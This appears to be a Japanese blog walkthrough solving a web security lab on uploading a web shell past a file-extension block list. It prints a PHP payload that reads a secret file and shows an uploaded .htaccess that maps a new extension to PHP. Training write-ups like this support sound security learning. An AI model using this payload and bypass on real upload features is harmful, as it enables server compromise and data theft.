Web shell upload via extension blacklist bypass
wienerでログイン、アバター画像をアップして、My accountに戻ります
![](https://blog.esna.tech/wp-content/uploads/2023/02/2-9-1024x782.jpg)
ヒストリーから、
GET /files/avatars/xx.jpg
リクエストを探しリピータに
*フィルターで、imagesにチェックを入れると表示されます。
![](https://blog.esna.tech/wp-content/uploads/2023/02/3-9-1024x782.jpg)
exploit.phpの名前で以下のファイルを作ります
<?php echo file_get_contents('/home/carlos/secret'); ?>
アバター画面からアップロードしてみます。
Sorry, php files are not allowed Sorry, there was an error uploading your file.
と表示されました。
phpの拡張子チェックがかかっているようです
![](https://blog.esna.tech/wp-content/uploads/2023/02/4-9-1024x782.jpg)
ヒストリーで
POST /my-account/avatar
を探し、リピータに
![](https://blog.esna.tech/wp-content/uploads/2023/02/5-9-1024x782.jpg)
filenameパラメータを .htaccess
Content-Typeヘッダー text/plain
phpの部分を AddType application/x-httpd-php .l33t
に変更します
これは、.htacessファイルに、phpファイルを .133t拡張子でも動作するよう登録してます。
事前の仕込みですね。
sendすると、アップロード成功したようです
![](https://blog.esna.tech/wp-content/uploads/2023/02/6-9-1024x782.jpg)
もう一度、ヒストリーから
POST /my-account/avatar リクエストをリピータに
filenameパラメータ exploit.l33t
で、sendします
![](https://blog.esna.tech/wp-content/uploads/2023/02/7-7-1024x782.jpg)
アップロード成功したようです
GET /files/avatars/xx.jpgを含む、リピータのタブに切り替え
ファイル名を、exploit.l33t に
send
![](https://blog.esna.tech/wp-content/uploads/2023/02/8-8-1024x782.jpg)
アップしたphpファイルが実行されたようです
秘密のファイルを、Submit solutionに
![](https://blog.esna.tech/wp-content/uploads/2023/02/9-4-1024x782.jpg)
クリア!
–)v
コメント